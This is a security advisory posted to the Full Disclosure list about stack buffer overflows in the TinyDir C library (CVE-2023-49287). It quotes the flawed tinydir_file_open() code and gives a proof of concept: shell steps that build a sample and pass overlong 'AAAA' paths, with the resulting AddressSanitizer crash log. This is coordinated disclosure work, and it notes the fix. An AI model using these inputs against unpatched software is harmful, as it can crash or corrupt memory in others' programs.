[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] HNS-2023-04 - HN Security Advisory - Buffer overflow vulnerabilities with long path names in Ti
From:       Marco Ivaldi <raptor () 0xdeadbeef ! info>
Date:       2023-12-04 10:50:59
Message-ID: CAM+3YVqkFqtQ2ZBLFgPg6+=SxV_bcZb_3ZgLQ0V5H-JOqRZ--w () mail ! gmail ! com
[Download RAW message or body]

Hi,

Please find attached a security advisory that describes some buffer
overflow vulnerabilities we discovered in TinyDir.

* Title: Buffer overflow vulnerabilities with long path names in TinyDir
* Product: TinyDir <= 1.2.5
* Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it>
* Date: 2023-12-04
* CVE ID: CVE-2023-49287
* Severity: High - 7.7 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
* Vendor URL: https://github.com/cxong/tinydir
* Advisory URL:
https://github.com/cxong/tinydir/security/advisories/GHSA-jf5r-wgf4-qhxf

The advisory is also available at:
https://github.com/hnsecurity/vulns/blob/main/HNS-2023-04-tinydir.txt

Regards,

-- 
Marco Ivaldi
https://0xdeadbeef.info/
"When cryptography is outlawed, bayl bhgynjf jvyy unir cevinpl."

["HNS-2023-04-tinydir.txt" (text/plain)]

--[ HNS-2023-04 - HN Security Advisory - https://security.humanativaspa.it/

* Title: Buffer overflow vulnerabilities with long path names in TinyDir
* Product: TinyDir <= 1.2.5
* Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it>
* Date: 2023-12-04
* CVE ID: CVE-2023-49287
* Severity: High - 7.7 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
* Vendor URL: https://github.com/cxong/tinydir
* Advisory URL: https://github.com/cxong/tinydir/security/advisories/GHSA-jf5r-wgf4-qhxf


--[ 0 - Table of contents

1 - Summary
2 - Background
3 - Vulnerabilities
4 - Proof of concept
5 - Affected products
6 - Remediation
7 - Disclosure timeline
8 - Acknowledgements
9 - References


--[ 1 - Summary

"This is the OG we all want to be, congrats on 20yrs of (public) vulns!"
                                                         -- Erik Cabetas

TinyDir is a lightweight, portable and easy to integrate C directory and
file reader. It wraps dirent for POSIX and FindFirstFile for Windows.

We reviewed TinyDir's source code hosted on GitHub [1] and identified some
security vulnerabilities that may cause memory corruption. Their impacts
range from denial of service to potential arbitrary code execution.


--[ 2 - Background

While auditing another codebase, we noticed that it included TinyDir.
Since this small but successful project is used in hundreds of repositories
[2], we decided to review it in search of security bugs.


--[ 3 - Vulnerabilities

We spotted some buffer overflow vulnerabilities with long path names in the
tinydir_file_open() function, at the marked locations in the following
source code listing:

```c
/* Open a single file given its path */
_TINYDIR_FUNC
int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path)
{
	tinydir_dir dir;
	int result = 0;
	int found = 0;
	_tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX];
	_tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX];
	_tinydir_char_t *dir_name;
	_tinydir_char_t *base_name;
#if (defined _MSC_VER || defined __MINGW32__)
	_tinydir_char_t drive_buf[_TINYDIR_PATH_MAX];
	_tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX];
#endif

	if (file == NULL || path == NULL || _tinydir_strlen(path) == 0)
	{
		errno = EINVAL;
		return -1;
	}
	if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX)
	{
		errno = ENAMETOOLONG;
		return -1;
	}

	/* Get the parent path */
#if (defined _MSC_VER || defined __MINGW32__)
#if ((defined _MSC_VER) && (_MSC_VER >= 1400))
	errno = _tsplitpath_s(
		path,
		drive_buf, _TINYDIR_DRIVE_MAX,
		dir_name_buf, _TINYDIR_FILENAME_MAX,
		file_name_buf, _TINYDIR_FILENAME_MAX,
		ext_buf, _TINYDIR_FILENAME_MAX);
#else
	_tsplitpath(
		path,
		drive_buf,
		dir_name_buf,
		file_name_buf,
		ext_buf); /* VULN: potential buffer overflow due to insecure splitpath() API
                             \
(https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170) \
*/ #endif

	if (errno)
	{
		return -1;
	}

/* _splitpath_s not work fine with only filename and widechar support */
#ifdef _UNICODE
	if (drive_buf[0] == L'\xFEFE')
		drive_buf[0] = '\0';
	if (dir_name_buf[0] == L'\xFEFE')
		dir_name_buf[0] = '\0';
#endif

	/* Emulate the behavior of dirname by returning "." for dir name if it's
	empty */
	if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0')
	{
		_tinydir_strcpy(dir_name_buf, TINYDIR_STRING("."));
	}
	/* Concatenate the drive letter and dir name to form full dir name */
	_tinydir_strcat(drive_buf, dir_name_buf);
	dir_name = drive_buf;
	/* Concatenate the file name and extension to form base name */
	_tinydir_strcat(file_name_buf, ext_buf); /* VULN: since sizeof(file_name_buf) + \
                sizeof(ext_buf) is larger than
                                                    sizeof(file_name_buf), we have a potential \
stack buffer overflow */  base_name = file_name_buf;
#else
	_tinydir_strcpy(dir_name_buf, path);
	dir_name = dirname(dir_name_buf);
	_tinydir_strcpy(file_name_buf, path); /* VULN: since sizeof(file_name_buf) is smaller than the \
                maximum path length, 
                                                 we have a potential stack buffer overflow */
	base_name = basename(file_name_buf);
#endif

	/* Special case: if the path is a root dir, open the parent dir as the file */
#if (defined _MSC_VER || defined __MINGW32__)
	if (_tinydir_strlen(base_name) == 0)
#else
	if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0)
#endif
	{
		memset(file, 0, sizeof * file);
		file->is_dir = 1;
		file->is_reg = 0;
		_tinydir_strcpy(file->path, dir_name);
		file->extension = file->path + _tinydir_strlen(file->path);
		return 0;
	}

	/* Open the parent directory */
	if (tinydir_open(&dir, dir_name) == -1)
	{
		return -1;
	}

	/* Read through the parent directory and look for the file */
	while (dir.has_next)
	{
		if (tinydir_readfile(&dir, file) == -1)
		{
			result = -1;
			goto bail;
		}
		if (_tinydir_strcmp(file->name, base_name) == 0)
		{
			/* File found */
			found = 1;
			break;
		}
		tinydir_next(&dir);
	}
	if (!found)
	{
		result = -1;
		errno = ENOENT;
	}

bail:
	tinydir_close(&dir);
	return result;
}
```


--[ 4 - Proof of concept

Step-by-step instructions to replicate the third vulnerability on Linux:

```
$ git clone https://github.com/cxong/tinydir
$ cd tinydir/samples/
$ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample
$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
 $ ./file_open_sample \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                
Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                
Extension: 
Is dir? yes
Is regular file? no
$ ./file_open_sample \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
 =================================================================
==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc \
0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8 WRITE of size 513 at 0x7ffd1ecabeb0 thread \
T0  #0 0x7f37b22544be in __interceptor_strcpy \
../../../../src/libsanitizer/asan/asan_interceptors.cpp:440  #1 0x5625cf301b69 in \
tinydir_file_open ../tinydir.h:711  #2 0x5625cf3021f4 in main \
/home/raptor/tinydir/samples/file_open_sample.c:12  #3 0x7f37b1e29d8f in __libc_start_call_main \
../sysdeps/nptl/libc_start_call_main.h:58  #4 0x7f37b1e29e3f in __libc_start_main_impl \
../csu/libc-start.c:392  #5 0x5625cf3004e4 in _start \
(/home/raptor/tinydir/samples/file_open_sample+0x24e4)

Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame
    #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641

  This frame has 3 object(s):
    [48, 4184) 'dir' (line 642)
    [4448, 4704) 'file_name_buf' (line 646)
    [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially \
                underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, \
swapcontext or vfork  (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow \
../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy Shadow \
bytes around the buggy address:  0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00  0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00
  0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2533==ABORTING
```


--[ 5 - Affected products

TinyDir 1.2.5 and earlier versions are affected by the vulnerabilities
discussed in this advisory.


--[ 6 - Remediation

TinyDir developers have released version 1.2.6 [3] that addresses the
vulnerabilities discussed in this advisory.

Please check the official TinyDir channels for further information about
fixes.


--[ 7 - Disclosure timeline

2023-11-30: Vulnerabilities reported via GitHub security advisories [4].
2023-12-01: Proof of concept provided at the request of TinyDir developers.
2023-12-02: Vulnerabilities fixed in TinyDir's master branch on GitHub.
2023-12-03: TinyDir 1.2.6 released and GitHub advisory published.
2023-12-04: GitHub issued CVE-2023-49287 and we published this advisory.


--[ 8 - Acknowledgements

We would like to thank TinyDir developers for triaging and quickly fixing
the reported vulnerabilities.


--[ 9 - References

[1] https://github.com/cxong/tinydir
[2] https://github.com/search?q=tinydir.h&type=code
[3] https://github.com/cxong/tinydir/releases/tag/1.2.6
[4] https://github.com/cxong/tinydir/security


Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic